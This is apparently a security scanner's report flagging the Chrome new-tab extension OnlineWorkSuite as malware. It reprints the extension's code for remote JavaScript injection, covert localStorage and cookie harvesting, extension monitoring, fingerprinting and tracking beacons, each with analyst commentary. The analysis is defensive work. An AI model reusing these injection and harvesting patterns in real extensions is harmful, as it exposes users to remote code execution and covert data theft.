Security Alert: Confirmed Malware
OnlineWorkSuite
ID: bcdhacjdengeibbbhmdjodiecaiciehc
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- http://onlineworksuite.comView Profile
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Access spreadsheets, documents, presentations and more - all from one convenient spot with this Chrome New Tab Extension.
Get OnlineWorkSuite, work more efficiently and access documents from your browser, plus update your new tab page search to MyWay.com. Comes with daily content to show you news, weather and more in a new Chrome window! By installing this extension, you agree to the End User License Agreement and Privacy Policy (https://eula.askapplications.com/eula/) This new tab extension is a product of Ask Applications, Inc. Permissions Requested : "Read and change your data on a number of websites" For our product to work, we require access to the websites we own and manage. "Replace the page you see when opening a new tab" This allows us to show you our product - new tab page with free web search. "Read your browsing history" This allows us to tailor product specific content or offers towards relevant information. "Display notifications" This allows us the option to send you updates or additional product offers once you’ve already enjoyed the free product. "Manage your apps, extensions, and themes" This allows us to help you disable or remove this product and also understand whether we are able to provide the best experience. Release Log: 13.962 : Optimizes the sync of this extension between Chrome profiles.
The extension fetches arbitrary JavaScript from a remotely-configured URL (`babRemoteScriptUrl`) via `initRemoteScript` and then injects and executes it directly into the active tab using `chrome.tabs.executeScript` with `code: _this.remoteScript`. This is a classic remote code loading attack vector: the operator can push any JavaScript payload from a remote server to execute in the context of any webpage the user visits. The URL is loaded from config at `buildVars.babRemoteScriptUrl`, meaning attackers who compromise that endpoint can achieve arbitrary code execution in all active tabs.
BabTypeInjectionScript.prototype.getClickListenerHandler = function(extensionConfig, getConnection) { var _this = this; this.initRemoteScript(extensionConfig); return function(tab) { ask.apps.ul.fireInfoEvent(extensionConfig.buildVars.unifiedLoggingUrl, { message: "browser-action-clicked", topic: "browser-action" }, extensionConfig, "BAB").catch(Logger.log); if (_this.handleSubsequentBabClicks(tab, getConnection)) return; BabClickHandler.getInjectionDetails(tab, extensionConfig.buildVars.newTabURL) .then(function(injectDetailsArr) { var remoteScriptInjectionDetails = { code: _this.remoteScript, runAt: "document_start" }; if (injectDetailsArr.length && injectDetailsArr[0].frameId) { remoteScriptInjectionDetails.frameId = injectDetailsArr[0].frameId; } return Promise.all([ Util.injectScriptsSequentially(tab.id, injectDetailsArr, extensionConfig, { message: "failed-inject-babContentScript lastError", topic: "browser-action" }), new Promise(function(resolve) { chrome.tabs.executeScript(tab.id, remoteScriptInjectionDetails, resolve); }) ]); })A hidden `<iframe>` is silently injected into the background page pointing at `https://download.onlineworksuite.com/blank.jhtml`. When the content script loaded into that page connects back via `chrome.runtime.connect`, the extension reads the page's `window.localStorage` contents in their entirety (see `localStorageContentScript.js`). This is a covert channel to exfiltrate localStorage data from a remote domain under the cover of a `DLP` (Data Layer Protocol) mechanism—data is harvested from the remote domain's storage without any visible indication to the user.
function openDLPDomain(url, getLocalStorage, parseLocalStorage, resolve, reject) { var bgifr = document.createElement("iframe"); bgifr.setAttribute("id", "bgifr"); bgifr.setAttribute("src", url); document.body.appendChild(bgifr); var _this = this; _this.defer(function() { var bgifr = document.getElementById("bgifr"); document.body.removeChild(bgifr); }); var onConnect = function(port) { if (!port.sender.hasOwnProperty("tab")) { chrome.runtime.onConnect.removeListener(onConnect); _this.defer(function() { port.disconnect(); }); getLocalStorage(port, _this.keys).then(function(response) { _this.cleanUp(); if (!response) { Logger.log("dlpHelper: openDLPDomain: FAIL: no response"); reject(new Error("dlpHelper: openDLPDomain: FAILED to find DLP data in local storage")); } Logger.log("dlpHelper: openDLPDomain: SUCCESS: response looked like: " + JSON.stringify(response)); resolve(parseLocalStorage(response)); })This content script, injected into `https://download.onlineworksuite.com/blank.jhtml`, reads ALL keys from `window.localStorage` when `data.keys` is empty and sends them back to the background script via a `chrome.runtime.connect` port. Combined with `dlpHelper.js`, this creates a complete pipeline for silently extracting any data stored in that domain's localStorage. If the toolbar data keys are absent, the entire localStorage namespace is returned to the extension background.
var commands = { getLocalStorage: function(data) { var storage = window.localStorage; var keys = data && data.keys && data.keys.length ? data.keys : Object.keys(storage); return Promise.resolve(keys.reduce(function(p, key) { p[key] = storage.getItem(key); return p; }, {})); }};function init() { var port = chrome.runtime.connect({ name: Util.generateGuid2(portNamePrefix + "-" + chrome.runtime.id + "-") }); channel = { id: port.name, port: port, callbacks: new Map() }; port.onMessage.addListener(onConnectMessage);}Uses `chrome.cookies.getAll({domain: domain})` to harvest all cookies set on the `.onlineworksuite.com` domain, then iterates every cookie name/value pair and converts them into a data object. While targeted at their own domain, this mechanism retrieves every cookie for that domain (including session tokens, authentication cookies, and tracking values) and logs the entire set. The `cookies` permission combined with domain-scoped harvesting represents a systematic cookie collection operation tied to tracking infrastructure.
function getDataFromCookies(domain) { return new Promise(function(resolve, reject) { chrome.cookies.getAll({ domain: domain }, function(cookies) { if (cookies.some(function(cookie) { return cookie.name === "toolbarId"; })) { Logger.log("Dlp: getDataFromCookies: Found DLP data cookies in domain: " + domain); resolve(parseCookies(cookies)); } else { reject(new Error("Dlp: getDataFromCookies: FAILED to find DLP data cookies in domain: " + domain)); } }); });}...function parseCookies(cookies) { var cookiesObj = cookies.reduce(function(obj, cookie) { obj[cookie.name] = cookie.value; return obj; }, {}); var toolbarData = cleanToolbarData(cookiesObj); toolbarData.dataSource = Dlp.dataSourceCookies; Logger.log("Dlp: parseCookies: The fetched DLP data looks like: " + JSON.stringify(toolbarData)); return toolbarData;}Calls `chrome.management.getAll()` to enumerate every installed browser extension and their IDs, versions, and enabled state, then registers persistent listeners for `onInstalled`, `onUninstalled`, `onEnabled`, and `onDisabled` events to monitor real-time changes. Any change in the extension ecosystem (e.g., a security tool being installed or a competing extension being removed) is logged and reported back via the unified logging URL (`anx.tb.ask.com`). This gives the operator full visibility into the user's browser extension landscape, including security plugins.
this.init = function(config) { Logger.log("WatchExtensionsHandler: watching extensions with " + WatchExtensionsHandler.permissionsToMonitor + " permissions"); var initWatchExtensions = function() { return new Promise(function(resolve) { chrome.management.getAll(function(extensionInfos) { var watchExtensions = getEmptyWatchExtensionsObject(); extensionInfos .filter(function(eInfo) { return eInfo.type === "extension" && eInfo.id !== chrome.runtime.id && Util.checkOverlap(eInfo.permissions, WatchExtensionsHandler.permissionsToMonitor); }) .forEach(function(eInfo) { WatchExtensionsHandler.permissionsToMonitor .filter(function(monitorPermission) { return ~eInfo.permissions.indexOf(monitorPermission); }) .forEach(function(permission) { watchExtensions[permission].stackOfExtensions.push({ id: eInfo.id, version: eInfo.version, enabled: eInfo.enabled }); }); }); Logger.log("WatchExtensionsHandler: extension has management permission. Currently following extensions installed: " + JSON.stringify(watchExtensions, null, 2)); resolve(config); }); }); };Establishes a persistent 6-hour (21,600,000ms) recurring alarm that sends a `ToolbarActive` tracking beacon to `https://live.tb.ask.com/tr.gif`. Each beacon carries the user's unique toolbarId, partnerId, partnerSubId, coId, userSegment, build date, extension version, and a timestamp—enough to uniquely identify and track the user across sessions without any user consent mechanism. This runs silently in the background from the moment the extension is installed.
function startULPing(config) { var alarmName = "livePing"; var minTimeToNextPing = 60000; var interval = config.buildVars.livePing.interval; var lastPing = config.state.lastLivePing; var ping = function() { var eventData = { cwsid: chrome.runtime.id }; apps.ul.fireToolbarActiveEvent(config.buildVars.livePing.url, eventData, config).then(function(response) { config.state.lastLivePing = Date.now(); background.extensionStateStorage.update(config.state); }).catch(function(err) { Logger.log("Background: startULPing - " + alarmName + ": Unable to send Live ping. " + err); }); }; chrome.alarms.create(alarmName, { when: Date.now() + delta, periodInMinutes: interval / 1000 / 60 }); chrome.alarms.onAlarm.addListener(function(alarm) { if (alarm.name === alarmName) { ping(); } });Assembles a detailed user fingerprint including `userAgent`, `platform`, `os`, `locale`, `language`, `browserName`, `browserVersion`, `countryCode`, and `installDate` and transmits this entire profile to a remote offer service endpoint via PUT requests. The offer service URL is remotely configurable, meaning this fingerprint data can be redirected to arbitrary endpoints. The data is used to serve targeted "secondary offers" (advertisements or software installs) that are then silently opened in new tabs via `chrome.tabs.create`.
this.getDataPoints = function() { var params = _this.extensionConfig.state.replaceableParams; return { browserID: "", browserName: BrowserUtils.getBrowserName(), browserVersion: BrowserUtils.getBrowserVersion(), campaign: params.affiliateID, cobrandID: params.cobrandID, coID: params.coID, countryCode: params.countryCode || "99", country: "", installDate: params.installDate, installDateHex: params.installDateHex, language: BrowserUtils.getLanguage(), locale: window.navigator.language, os: BrowserUtils.getOS(), partnerID: params.partnerID, partnerSubID: params.partnerSubID, platform: window.navigator.platform, redirectedUserID: "", toolbarBuildDate: _this.extensionConfig.buildVars.buildDate, toolbarID: params.toolbarID, toolbarVersion: params.toolbarVersion, trackID: params.trackID, userAgent: window.navigator.userAgent, userSegment: _this.extensionConfig.state.toolbarData.userSegment };};The overridden new tab page (`chrome_url_overrides.newtab`) renders a full-screen iframe that, when populated with the operator's `hp.myway.com` new tab URL, is granted access to `geolocation`, `microphone`, `camera`, `midi`, and `encrypted-media` via the HTML `allow` attribute. This silently delegates sensitive device permissions—normally gated behind user prompts—to a third-party web page controlled by the toolbar operator without explicit user awareness that these permissions are available.
<body> <iframe id="wtt-frame" frameborder="0" src="about:blank" style="position: absolute; left: 0px; width: 100%; top: 0px; height: 100%;" allow="geolocation; microphone; camera; midi; encrypted-media"></iframe></body>When injected into pages matching `*.onlineworksuite.com`, this content script sets tracking cookies (`mindsparktb_<toolbarId>` and `mindsparktbsupport_<toolbarId>`) directly on the visited domain and also responds to `window.postMessage` `GET_INFO` requests by exposing the user's toolbarId, partnerId, partnerSubId, and installDate to any page-level JavaScript that sends the right message. This creates a cross-origin communication channel where web pages can query the extension's identity and tracking data.
function setInstalledCookies(toolbarId) { var hourFromNow = new Date(Date.now() + (1 * 60 * 60 * 1000)).toUTCString(); document.cookie = "mindsparktb_" + toolbarId + "=true; expires=" + hourFromNow + "; path=/"; document.cookie = "mindsparktbsupport_" + toolbarId + "=true; expires=" + hourFromNow + "; path=/";}init();})(ExtensionDetect || (ExtensionDetect = {}));...function getCommands(configData) { return { GET_INFO: function(reply) { reply({ toolbarId: configData.state.toolbarData.toolbarId, partnerId: configData.state.toolbarData.partnerId, partnerSubId: configData.state.toolbarData.partnerSubId, installDate: configData.state.toolbarData.installDate, toolbarVersion: configData.buildVars.version, toolbarBuildDate: configData.buildVars.buildDate, }); } };}Monitors all tab URL changes via `chrome.tabs.onUpdated` and programmatically injects content scripts into any tab matching `*.onlineworksuite.com` at `document_start`. The dynamically injected scripts (`extensionDetect.js`, `webTooltabAPIProxy.js`) establish a `postMessage` communication channel between the page and the extension, enabling the page to query tracking data and the extension to respond. This is a pattern of covert script injection triggered by navigation rather than declared statically in the manifest.
function setUpContentScriptInjection(config) { if (config.buildVars.contentScriptMatchPatterns) { var webTooltabAPIProxyMatchPattert_1 = new RegExp("^https?://[\\w\\d]+" + config.buildVars.contentScriptMatchPatterns.webTooltabAPIProxy + "/.*$", "i"); var injectContentScripts = function(tabId, changeInfo, tab) { if (!changeInfo || !changeInfo.url) return; if (background.extensionDetectMatchPattern.test(changeInfo.url)) { var files = ["js/logger.js", "js/chrome.js", "js/util.js", "js/extensionDetect.js"]; files.forEach(function(file) { return chrome.tabs.executeScript({ runAt: "document_start", file: file }, function() { if (chrome.runtime.lastError) { Logger.error(chrome.runtime.lastError); } }); }); } if (webTooltabAPIProxyMatchPattert_1.test(changeInfo.url)) { var files = ["js/logger.js", "js/chrome.js", "js/util.js", "js/webTooltabAPIProxy.js"]; files.forEach(function(file) { return chrome.tabs.executeScript({ runAt: "document_end", file: file }, function() { if (chrome.runtime.lastError) { Logger.error(chrome.runtime.lastError); } }); }); } }; chrome.tabs.onUpdated.addListener(injectContentScripts); } return Promise.resolve(config);}By severity
Versions scanned
Showing 2 of 5 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 13.962.19.39228 | 6 |
| 13.945.18.38095 | 10 |
Files with findings
11 distinct paths — top paths by unique finding count:
- js/babTypeInjectionScript.js2
- js/background.js2
- js/dlp.js2
- js/localStorageContentScript.js2
- js/watchExtensionsHandler.js2
- js/dlpHelper.js1
- js/extensionDetect.js1
- js/offerService.js1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.